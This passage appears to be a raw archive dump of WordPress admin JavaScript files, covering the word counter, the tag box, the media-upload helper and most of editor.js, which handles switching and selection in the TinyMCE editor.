new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' ); } } // Default settings. WordCounter.prototype.settings = { HTMLRegExp: /<\/?[a-z][^>]*?>/gi, HTMLcommentRegExp: /<!--[\s\S]*?-->/g, spaceRegExp: / | /gi, HTMLEntityRegExp: /&\S+?;/g, // \u2014 = em-dash. connectorRegExp: /--|\u2014/g, // Characters to be removed from input text. removeRegExp: new RegExp( [ '[', // Basic Latin (extract). '\u0021-\u0040\u005B-\u0060\u007B-\u007E', // Latin-1 Supplement (extract). '\u0080-\u00BF\u00D7\u00F7', /* * The following range consists of: * General Punctuation * Superscripts and Subscripts * Currency Symbols * Combining Diacritical Marks for Symbols * Letterlike Symbols * Number Forms * Arrows * Mathematical Operators * Miscellaneous Technical * Control Pictures * Optical Character Recognition * Enclosed Alphanumerics * Box Drawing * Block Elements * Geometric Shapes * Miscellaneous Symbols * Dingbats * Miscellaneous Mathematical Symbols-A * Supplemental Arrows-A * Braille Patterns * Supplemental Arrows-B * Miscellaneous Mathematical Symbols-B * Supplemental Mathematical Operators * Miscellaneous Symbols and Arrows */ '\u2000-\u2BFF', // Supplemental Punctuation. '\u2E00-\u2E7F', ']' ].join( '' ), 'g' ), // Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g, wordsRegExp: /\S\s+/g, characters_excluding_spacesRegExp: /\S/g, /* * Match anything that is not a formatting character, excluding: * \f = form feed * \n = new line * \r = carriage return * \t = tab * \v = vertical tab * \u00AD = soft hyphen * \u2028 = line separator * \u2029 = paragraph separator */ characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g, l10n: window.wordCountL10n || {} }; /** * Counts the number of words (or other specified type) in the specified text. * * @since 2.6.0 * * @memberof wp.utils.wordcounter * * @param {string} text Text to count elements in. * @param {string} type Optional. Specify type to use. * * @return {number} The number of items counted. */ WordCounter.prototype.count = function( text, type ) { var count = 0; // Use default type if none was provided. type = type || this.settings.l10n.type; // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'. if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) { type = 'words'; } // If we have any text at all. if ( text ) { text = text + '\n'; // Replace all HTML with a new-line. text = text.replace( this.settings.HTMLRegExp, '\n' ); // Remove all HTML comments. text = text.replace( this.settings.HTMLcommentRegExp, '' ); // If a shortcode regular expression has been provided use it to remove shortcodes. if ( this.settings.shortcodesRegExp ) { text = text.replace( this.settings.shortcodesRegExp, '\n' ); } // Normalize non-breaking space to a normal space. text = text.replace( this.settings.spaceRegExp, ' ' ); if ( type === 'words' ) { // Remove HTML Entities. text = text.replace( this.settings.HTMLEntityRegExp, '' ); // Convert connectors to spaces to count attached text as words. text = text.replace( this.settings.connectorRegExp, ' ' ); // Remove unwanted characters. text = text.replace( this.settings.removeRegExp, '' ); } else { // Convert HTML Entities to "a". text = text.replace( this.settings.HTMLEntityRegExp, 'a' ); // Remove surrogate points. text = text.replace( this.settings.astralRegExp, 'a' ); } // Match with the selected type regular expression to count the items. text = text.match( this.settings[ type + 'RegExp' ] ); // If we have any matches, set the count to the number of items found. if ( text ) { count = text.length; } } return count; }; // Add the WordCounter to the WP Utils. window.wp = window.wp || {}; window.wp.utils = window.wp.utils || {}; window.wp.utils.WordCounter = WordCounter; } )(); tags-box.min.js 0000644 00000006005 15174417325 0007422 0 ustar 00 /*! This file is auto-generated */ !function(o){var r=wp.i18n._x(",","tag delimiter")||",";window.array_unique_noempty=function(t){var a=[];return o.each(t,function(t,e){(e=(e=e||"").trim())&&-1===o.inArray(e,a)&&a.push(e)}),a},window.tagBox={clean:function(t){return t=(t=","!==r?t.replace(new RegExp(r,"g"),","):t).replace(/\s*,\s*/g,",").replace(/,+/g,",").replace(/[,\s]+$/,"").replace(/^[,\s]+/,""),t=","!==r?t.replace(/,/g,r):t},parseTags:function(t){var e=t.id.split("-check-num-")[1],t=o(t).closest(".tagsdiv"),a=t.find(".the-tags"),i=a.val().split(r),n=[];return delete i[e],o.each(i,function(t,e){(e=(e=e||"").trim())&&n.push(e)}),a.val(this.clean(n.join(r))),this.quickClicks(t),!1},quickClicks:function(t){var a,e=o(".the-tags",t),i=o(".tagchecklist",t),n=o(t).attr("id");e.length&&(a=e.prop("disabled"),t=e.val().split(r),i.empty(),o.each(t,function(t,e){(e=(e=e||"").trim())&&(e=o("<li />").text(e),a||((t=o('<button type="button" id="'+n+"-check-num-"+t+'" class="ntdelbutton"><span class="remove-tag-icon" aria-hidden="true"></span><span class="screen-reader-text">'+wp.i18n.__("Remove term:")+" "+e.html()+"</span></button>")).on("click keypress",function(t){"click"!==t.type&&13!==t.keyCode&&32!==t.keyCode||(13!==t.keyCode&&32!==t.keyCode||o(this).closest(".tagsdiv").find("input.newtag").trigger("focus"),tagBox.userAction="remove",tagBox.parseTags(this))}),e.prepend(" ").prepend(t)),i.append(e))}),tagBox.screenReadersMessage())},flushTags:function(t,e,a){var i,n,s=o(".the-tags",t),c=o("input.newtag",t);return void 0!==(n=(e=e||!1)?o(e).text():c.val())&&""!==n&&(i=s.val(),i=this.clean(i=i?i+r+n:n),i=array_unique_noempty(i.split(r)).join(r),s.val(i),this.quickClicks(t),e||c.val(""),void 0===a)&&c.trigger("focus"),!1},get:function(a){var i=a.substr(a.indexOf("-")+1);o.post(ajaxurl,{action:"get-tagcloud",tax:i},function(t,e){0!==t&&"success"==e&&(t=o('<div id="tagcloud-'+i+'" class="the-tagcloud">'+t+"</div>"),o("a",t).on("click",function(){return tagBox.userAction="add",tagBox.flushTags(o("#"+i),this),!1}),o("#"+a).after(t))})},userAction:"",screenReadersMessage:function(){var t;switch(this.userAction){case"remove":t=wp.i18n.__("Term removed.");break;case"add":t=wp.i18n.__("Term added.");break;default:return}window.wp.a11y.speak(t,"assertive")},init:function(){var t=o("div.ajaxtag");o(".tagsdiv").each(function(){tagBox.quickClicks(this)}),o(".tagadd",t).on("click",function(){tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv"))}),o("input.newtag",t).on("keypress",function(t){13==t.which&&(tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv")),t.preventDefault(),t.stopPropagation())}).each(function(t,e){o(e).wpTagsSuggest()}),o("#post").on("submit",function(){o("div.tagsdiv").each(function(){tagBox.flushTags(this,!1,1)})}),o(".tagcloud-link").on("click",function(){tagBox.get(o(this).attr("id")),o(this).attr("aria-expanded","true").off().on("click",function(){o(this).attr("aria-expanded","false"===o(this).attr("aria-expanded")?"true":"false").siblings(".the-tagcloud").toggle()})})}}}(jQuery); media-upload.min.js 0000644 00000002200 15174417325 0010230 0 ustar 00 /*! This file is auto-generated */ window.send_to_editor=function(t){var e,i="undefined"!=typeof tinymce,n="undefined"!=typeof QTags;if(wpActiveEditor)i&&(e=tinymce.get(wpActiveEditor));else if(i&&tinymce.activeEditor)e=tinymce.activeEditor,window.wpActiveEditor=e.id;else if(!n)return!1;if(e&&!e.isHidden()?e.execCommand("mceInsertContent",!1,t):n?QTags.insertContent(t):document.getElementById(wpActiveEditor).value+=t,window.tb_remove)try{window.tb_remove()}catch(t){}},function(d){window.tb_position=function(){var t=d("#TB_window"),e=d(window).width(),i=d(window).height(),n=833<e?833:e,o=0;return d("#wpadminbar").length&&(o=parseInt(d("#wpadminbar").css("height"),10)),t.length&&(t.width(n-50).height(i-45-o),d("#TB_iframeContent").width(n-50).height(i-75-o),t.css({"margin-left":"-"+parseInt((n-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&t.css({top:20+o+"px","margin-top":"0"}),d("a.thickbox").each(function(){var t=d(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),d(this).attr("href",t+"&width="+(n-80)+"&height="+(i-85-o)))})},d(window).on("resize",function(){tb_position()})}(jQuery); editor.js 0000644 00000127777 15174417325 0006426 0 ustar 00 /** * @output wp-admin/js/editor.js */ window.wp = window.wp || {}; ( function( $, wp ) { wp.editor = wp.editor || {}; /** * Utility functions for the editor. * * @since 2.5.0 */ function SwitchEditors() { var tinymce, $$, exports = {}; function init() { if ( ! tinymce && window.tinymce ) { tinymce = window.tinymce; $$ = tinymce.$; /** * Handles onclick events for the Visual/Code tabs. * * @since 4.3.0 * * @return {void} */ $$( document ).on( 'click', function( event ) { var id, mode, target = $$( event.target ); if ( target.hasClass( 'wp-switch-editor' ) ) { id = target.attr( 'data-wp-editor-id' ); mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html'; switchEditor( id, mode ); } }); } } /** * Returns the height of the editor toolbar(s) in px. * * @since 3.9.0 * * @param {Object} editor The TinyMCE editor. * @return {number} If the height is between 10 and 200 return the height, * else return 30. */ function getToolbarHeight( editor ) { var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0], height = node && node.clientHeight; if ( height && height > 10 && height < 200 ) { return parseInt( height, 10 ); } return 30; } /** * Switches the editor between Visual and Code mode. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`. * @param {string} mode The mode you want to switch to. Default: `toggle`. * @return {void} */ function switchEditor( id, mode ) { id = id || 'content'; mode = mode || 'toggle'; var editorHeight, toolbarHeight, iframe, editor = tinymce.get( id ), wrap = $$( '#wp-' + id + '-wrap' ), htmlSwitch = wrap.find( '.switch-tmce' ), tmceSwitch = wrap.find( '.switch-html' ), $textarea = $$( '#' + id ), textarea = $textarea[0]; if ( 'toggle' === mode ) { if ( editor && ! editor.isHidden() ) { mode = 'html'; } else { mode = 'tmce'; } } if ( 'tmce' === mode || 'tinymce' === mode ) { // If the editor is visible we are already in `tinymce` mode. if ( editor && ! editor.isHidden() ) { return false; } // Insert closing tags for any open tags in QuickTags. if ( typeof( window.QTags ) !== 'undefined' ) { window.QTags.closeAllTags( id ); } editorHeight = parseInt( textarea.style.height, 10 ) || 0; addHTMLBookmarkInTextAreaContent( $textarea ); if ( editor ) { editor.show(); // No point to resize the iframe in iOS. if ( ! tinymce.Env.iOS && editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight - toolbarHeight + 14; // Sane limit for the editor height. if ( editorHeight > 50 && editorHeight < 5000 ) { editor.theme.resizeTo( null, editorHeight ); } } focusHTMLBookmarkInVisualEditor( editor ); } else { tinymce.init( window.tinyMCEPreInit.mceInit[ id ] ); } wrap.removeClass( 'html-active' ).addClass( 'tmce-active' ); tmceSwitch.attr( 'aria-pressed', false ); htmlSwitch.attr( 'aria-pressed', true ); $textarea.attr( 'aria-hidden', true ); window.setUserSetting( 'editor', 'tinymce' ); } else if ( 'html' === mode ) { // If the editor is hidden (Quicktags is shown) we don't need to switch. if ( editor && editor.isHidden() ) { return false; } if ( editor ) { // Don't resize the textarea in iOS. // The iframe is forced to 100% height there, we shouldn't match it. if ( ! tinymce.Env.iOS ) { iframe = editor.iframeElement; editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0; if ( editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight + toolbarHeight - 14; // Sane limit for the textarea height. if ( editorHeight > 50 && editorHeight < 5000 ) { textarea.style.height = editorHeight + 'px'; } } } var selectionRange = null; selectionRange = findBookmarkedPosition( editor ); editor.hide(); if ( selectionRange ) { selectTextInTextArea( editor, selectionRange ); } } else { // There is probably a JS error on the page. // The TinyMCE editor instance doesn't exist. Show the textarea. $textarea.css({ 'display': '', 'visibility': '' }); } wrap.removeClass( 'tmce-active' ).addClass( 'html-active' ); tmceSwitch.attr( 'aria-pressed', true ); htmlSwitch.attr( 'aria-pressed', false ); $textarea.attr( 'aria-hidden', false ); window.setUserSetting( 'editor', 'html' ); } } /** * Checks if a cursor is inside an HTML tag or comment. * * In order to prevent breaking HTML tags when selecting text, the cursor * must be moved to either the start or end of the tag. * * This will prevent the selection marker to be inserted in the middle of an HTML tag. * * This function gives information whether the cursor is inside a tag or not, as well as * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag, * e.g. `[caption]<img.../>..`. * * @param {string} content The test content where the cursor is. * @param {number} cursorPosition The cursor position inside the content. * * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag. */ function getContainingTagInfo( content, cursorPosition ) { var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ), lastGtPos = content.lastIndexOf( '>', cursorPosition ); if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) { // Find what the tag is. var tagContent = content.substr( lastLtPos ), tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ ); if ( ! tagMatch ) { return null; } var tagType = tagMatch[2], closingGt = tagContent.indexOf( '>' ); return { ltPos: lastLtPos, gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character. tagType: tagType, isClosingTag: !! tagMatch[1] }; } return null; } /** * Checks if the cursor is inside a shortcode * * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to * move the selection marker to before or after the shortcode. * * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the * `<img/>` tag inside. * * `[caption]<span>ThisIsGone</span><img .../>[caption]` * * Moving the selection to before or after the short code is better, since it allows to select * something, instead of just losing focus and going to the start of the content. * * @param {string} content The text content to check against. * @param {number} cursorPosition The cursor position to check. * * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag. * Information about the wrapping shortcode tag if it's wrapped in one. */ function getShortcodeWrapperInfo( content, cursorPosition ) { var contentShortcodes = getShortCodePositionsInText( content ); for ( var i = 0; i < contentShortcodes.length; i++ ) { var element = contentShortcodes[ i ]; if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) { return element; } } } /** * Gets a list of unique shortcodes or shortcode-lookalikes in the content. * * @param {string} content The content we want to scan for shortcodes. */ function getShortcodesInText( content ) { var shortcodes = content.match( /\[+([\w_-])+/g ), result = []; if ( shortcodes ) { for ( var i = 0; i < shortcodes.length; i++ ) { var shortcode = shortcodes[ i ].replace( /^\[+/g, '' ); if ( result.indexOf( shortcode ) === -1 ) { result.push( shortcode ); } } } return result; } /** * Gets all shortcodes and their positions in the content * * This function returns all the shortcodes that could be found in the textarea content * along with their character positions and boundaries. * * This is used to check if the selection cursor is inside the boundaries of a shortcode * and move it accordingly, to avoid breakage. * * @link adjustTextAreaSelectionCursors * * The information can also be used in other cases when we need to lookup shortcode data, * as it's already structured! * * @param {string} content The content we want to scan for shortcodes */ function getShortCodePositionsInText( content ) { var allShortcodes = getShortcodesInText( content ), shortcodeInfo; if ( allShortcodes.length === 0 ) { return []; } var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ), shortcodeMatch, // Define local scope for the variable to be used in the loop below. shortcodesDetails = []; while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) { /** * Check if the shortcode should be shown as plain text. * * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode * and just shows it as text. */ var showAsPlainText = shortcodeMatch[1] === '['; shortcodeInfo = { shortcodeName: shortcodeMatch[2], showAsPlainText: showAsPlainText, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[0].length, length: shortcodeMatch[0].length }; shortcodesDetails.push( shortcodeInfo ); } /** * Get all URL matches, and treat them as embeds. * * Since there isn't a good way to detect if a URL by itself on a line is a previewable * object, it's best to treat all of them as such. * * This means that the selection will capture the whole URL, in a similar way shrotcodes * are treated. */ var urlRegexp = new RegExp( '(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi' ); while ( shortcodeMatch = urlRegexp.exec( content ) ) { shortcodeInfo = { shortcodeName: 'url', showAsPlainText: false, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length, length: shortcodeMatch[ 0 ].length, urlAtStartOfContent: shortcodeMatch[ 1 ] === '', urlAtEndOfContent: shortcodeMatch[ 3 ] === '' }; shortcodesDetails.push( shortcodeInfo ); } return shortcodesDetails; } /** * Generate a cursor marker element to be inserted in the content. * * `span` seems to be the least destructive element that can be used. * * Using DomQuery syntax to create it, since it's used as both text and as a DOM element. * * @param {Object} domLib DOM library instance. * @param {string} content The content to insert into the cursor marker element. */ function getCursorMarkerSpan( domLib, content ) { return domLib( '<span>' ).css( { display: 'inline-block', width: 0, overflow: 'hidden', 'line-height': 0 } ) .html( content ? content : '' ); } /** * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes. * * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible * to break the syntax and render the HTML tag or shortcode broken. * * @link getShortcodeWrapperInfo * * @param {string} content Textarea content that the cursors are in * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions * * @return {{cursorStart: number, cursorEnd: number}} */ function adjustTextAreaSelectionCursors( content, cursorPositions ) { var voidElements = [ 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr' ]; var cursorStart = cursorPositions.cursorStart, cursorEnd = cursorPositions.cursorEnd, // Check if the cursor is in a tag and if so, adjust it. isCursorStartInTag = getContainingTagInfo( content, cursorStart ); if ( isCursorStartInTag ) { /** * Only move to the start of the HTML tag (to select the whole element) if the tag * is part of the voidElements list above. * * This list includes tags that are self-contained and don't need a closing tag, according to the * HTML5 specification. * * This is done in order to make selection of text a bit more consistent when selecting text in * `<p>` tags or such. * * In cases where the tag is not a void element, the cursor is put to the end of the tag, * so it's either between the opening and closing tag elements or after the closing tag. */ if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) { cursorStart = isCursorStartInTag.ltPos; } else { cursorStart = isCursorStartInTag.gtPos; } } var isCursorEndInTag = getContainingTagInfo( content, cursorEnd ); if ( isCursorEndInTag ) { cursorEnd = isCursorEndInTag.gtPos; } var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart ); if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) { /** * If a URL is at the start or the end of the content, * the selection doesn't work, because it inserts a marker in the text, * which breaks the embedURL detection. * * The best way to avoid that and not modify the user content is to * adjust the cursor to either after or before URL. */ if ( isCursorStartInShortcode.urlAtStartOfContent ) { cursorStart = isCursorStartInShortcode.endIndex; } else { cursorStart = isCursorStartInShortcode.startIndex; } } var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd ); if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) { if ( isCursorEndInShortcode.urlAtEndOfContent ) { cursorEnd = isCursorEndInShortcode.startIndex; } else { cursorEnd = isCursorEndInShortcode.endIndex; } } return { cursorStart: cursorStart, cursorEnd: cursorEnd }; } /** * Adds text selection markers in the editor textarea. * * Adds selection markers in the content of the editor `textarea`. * The method directly manipulates the `textarea` content, to allow TinyMCE plugins * to run after the markers are added. * * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object */ function addHTMLBookmarkInTextAreaContent( $textarea ) { if ( ! $textarea || ! $textarea.length ) { // If no valid $textarea object is provided, there's nothing we can do. return; } var textArea = $textarea[0], textAreaContent = textArea.value, adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, { cursorStart: textArea.selectionStart, cursorEnd: textArea.selectionEnd } ), htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart, htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd, mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single', selectedText = null, cursorMarkerSkeleton = getCursorMarkerSpan( $$, '' ).attr( 'data-mce-type','bookmark' ); if ( mode === 'range' ) { var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ), bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' ); selectedText = [ markedText, bookMarkEnd[0].outerHTML ].join( '' ); } textArea.value = [ textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position. cursorMarkerSkeleton.clone() // Cursor/selection start marker. .addClass( 'mce_SELRES_start' )[0].outerHTML, selectedText, // Selected text with end cursor/position marker. textArea.value.slice( htmlModeCursorEndPosition ) // Text from last cursor/selection position to end. ].join( '' ); } /** * Focuses the selection markers in Visual mode. * * The method checks for existing selection markers inside the editor DOM (Visual mode) * and create a selection between the two nodes using the DOM `createRange` selection API. * * If there is only a single node, select only the single node through TinyMCE's selection API * * @param {Object} editor TinyMCE editor instance. */ function focusHTMLBookmarkInVisualEditor( editor ) { var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ), endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 ); if ( startNode.length ) { editor.focus(); if ( ! endNode.length ) { editor.selection.select( startNode[0] ); } else { var selection = editor.getDoc().createRange(); selection.setStartAfter( startNode[0] ); selection.setEndBefore( endNode[0] ); editor.selection.setRng( selection ); } } scrollVisualModeToStartElement( editor, startNode ); removeSelectionMarker( startNode ); removeSelectionMarker( endNode ); editor.save(); } /** * Removes selection marker and the parent node if it is an empty paragraph. * * By default TinyMCE wraps loose inline tags in a `<p>`. * When removing selection markers an empty `<p>` may be left behind, remove it. * * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$` */ function removeSelectionMarker( $marker ) { var $markerParent = $marker.parent(); $marker.remove(); //Remove empty paragraph left over after removing the marker. if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) { $markerParent.remove(); } } /** * Scrolls the content to place the selected element in the center of the screen. * * Takes an element, that is usually the selection start element, selected in * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly * in the middle of the screen. * * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted * from the window height, to get the proper viewport window, that the user sees. * * @param {Object} editor TinyMCE editor instance. * @param {Object} element HTMLElement that should be scrolled into view. */ function scrollVisualModeToStartElement( editor, element ) { var elementTop = editor.$( element ).offset().top, TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top, toolbarHeight = getToolbarHeight( editor ), edTools = $( '#wp-content-editor-tools' ), edToolsHeight = 0, edToolsOffsetTop = 0, $scrollArea; if ( edTools.length ) { edToolsHeight = edTools.height(); edToolsOffsetTop = edTools.offset().top; } var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight, selectionPosition = TinyMCEContentAreaTop + elementTop, visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight ); // There's no need to scroll if the selection is inside the visible area. if ( selectionPosition < visibleAreaHeight ) { return; } /** * The minimum scroll height should be to the top of the editor, to offer a consistent * experience. * * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and * subtracting the height. This gives the scroll position where the top of the editor tools aligns with * the top of the viewport (under the Master Bar) */ var adjustedScroll; if ( editor.settings.wp_autoresize_on ) { $scrollArea = $( 'html,body' ); adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight ); } else { $scrollArea = $( editor.contentDocument ).find( 'html,body' ); adjustedScroll = elementTop; } $scrollArea.animate( { scrollTop: parseInt( adjustedScroll, 10 ) }, 100 ); } /** * This method was extracted from the `SaveContent` hook in * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`. * * It's needed here, since the method changes the content a bit, which confuses the cursor position. * * @param {Object} event TinyMCE event object. */ function fixTextAreaContent( event ) { // Keep empty paragraphs :( event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p> </p>' ); } /** * Finds the current selection position in the Visual editor. * * Find the current selection in the Visual editor by inserting marker elements at the start * and end of the selection. * * Uses the standard DOM selection API to achieve that goal. * * Check the notes in the comments in the code below for more information on some gotchas * and why this solution was chosen. * * @param {Object} editor The editor where we must find the selection. * @return {(null|Object)} The selection range position in the editor. */ function findBookmarkedPosition( editor ) { // Get the TinyMCE `window` reference, since we need to access the raw selection. var TinyMCEWindow = editor.getWin(), selection = TinyMCEWindow.getSelection(); if ( ! selection || selection.rangeCount < 1 ) { // no selection, no need to continue. return; } /** * The ID is used to avoid replacing user generated content, that may coincide with the * format specified below. * @type {string} */ var selectionID = 'SELRES_' + Math.random(); /** * Create two marker elements that will be used to mark the start and the end of the range. * * The elements have hardcoded style that makes them invisible. This is done to avoid seeing * random content flickering in the editor when switching between modes. */ var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ), startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ), endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' ); /** * Inspired by: * @link https://stackoverflow.com/a/17497803/153310 * * Why do it this way and not with TinyMCE's bookmarks? * * TinyMCE's bookmarks are very nice when working with selections and positions, BUT * there is no way to determine the precise position of the bookmark when switching modes, since * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify * HTML code and so on. In this process, the bookmark markup gets lost. * * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will * throw off the positioning. * * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the * selection. * * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the * selection may start in the middle of one node and end in the middle of a completely different one. If we * wrap the selection in another node, this will create artifacts in the content. * * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection. * This helps us not break the content and also gives us the option to work with multi-node selections without * breaking the markup. */ var range = selection.getRangeAt( 0 ), startNode = range.startContainer, startOffset = range.startOffset, boundaryRange = range.cloneRange(); /** * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup, * which we have to account for. */ if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) { startNode = editor.$( '[data-mce-selected]' )[0]; /** * Marking the start and end element with `data-mce-object-selection` helps * discern when the selected object is a Live Preview selection. * * This way we can adjust the selection to properly select only the content, ignoring * whitespace inserted around the selected object by the Editor. */ startElement.attr( 'data-mce-object-selection', 'true' ); endElement.attr( 'data-mce-object-selection', 'true' ); editor.$( startNode ).before( startElement[0] ); editor.$( startNode ).after( endElement[0] ); } else { boundaryRange.collapse( false ); boundaryRange.insertNode( endElement[0] ); boundaryRange.setStart( startNode, startOffset ); boundaryRange.collapse( true ); boundaryRange.insertNode( startElement[0] ); range.setStartAfter( startElement[0] ); range.setEndBefore( endElement[0] ); selection.removeAllRanges(); selection.addRange( range ); } /** * Now the editor's content has the start/end nodes. * * Unfortunately the content goes through some more changes after this step, before it gets inserted * in the `textarea`. This means that we have to do some minor cleanup on our own here. */ editor.on( 'GetContent', fixTextAreaContent ); var content = removep( editor.getContent() ); editor.off( 'GetContent', fixTextAreaContent ); startElement.remove(); endElement.remove(); var startRegex = new RegExp( '<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)' ); var endRegex = new RegExp( '(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>' ); var startMatch = content.match( startRegex ), endMatch = content.match( endRegex ); if ( ! startMatch ) { return null; } var startIndex = startMatch.index, startMatchLength = startMatch[0].length, endIndex = null; if (endMatch) { /** * Adjust the selection index, if the selection contains a Live Preview object or not. * * Check where the `data-mce-object-selection` attribute is set above for more context. */ if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { startMatchLength -= startMatch[1].length; } var endMatchIndex = endMatch.index; if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { endMatchIndex -= endMatch[1].length; } // We need to adjust the end position to discard the length of the range start marker. endIndex = endMatchIndex - startMatchLength; } return { start: startIndex, end: endIndex }; } /** * Selects text in the TinyMCE `textarea`. * * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`. * * For `selection` parameter: * @link findBookmarkedPosition * * @param {Object} editor TinyMCE's editor instance. * @param {Object} selection Selection data. */ function selectTextInTextArea( editor, selection ) { // Only valid in the text area mode and if we have selection. if ( ! selection ) { return; } var textArea = editor.getElement(), start = selection.start, end = selection.end || selection.start; if ( textArea.focus ) { // Wait for the Visual editor to be hidden, then focus and scroll to the position. setTimeout( function() { textArea.setSelectionRange( start, end ); if ( textArea.blur ) { // Defocus before focusing. textArea.blur(); } textArea.focus(); }, 100 ); } } // Restore the selection when the editor is initialized. Needed when the Code editor is the default. $( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) { if ( editor.$( '.mce_SELRES_start' ).length ) { focusHTMLBookmarkInVisualEditor( editor ); } } ); /** * Replaces <p> tags with two line breaks. "Opposite" of wpautop(). * * Replaces <p> tags with two line breaks except where the <p> has attributes. * Unifies whitespace. * Indents <li>, <dt> and <dd> for better readability. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} html The content from the editor. * @return {string} The content with stripped paragraph tags. */ function removep( html ) { var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure', blocklist1 = blocklist + '|div|p', blocklist2 = blocklist + '|pre', preserve_linebreaks = false, preserve_br = false, preserve = []; if ( ! html ) { return ''; } // Protect script and style tags. if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) { html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) { preserve.push( match ); return '<wp-preserve>'; } ); } // Protect pre tags. 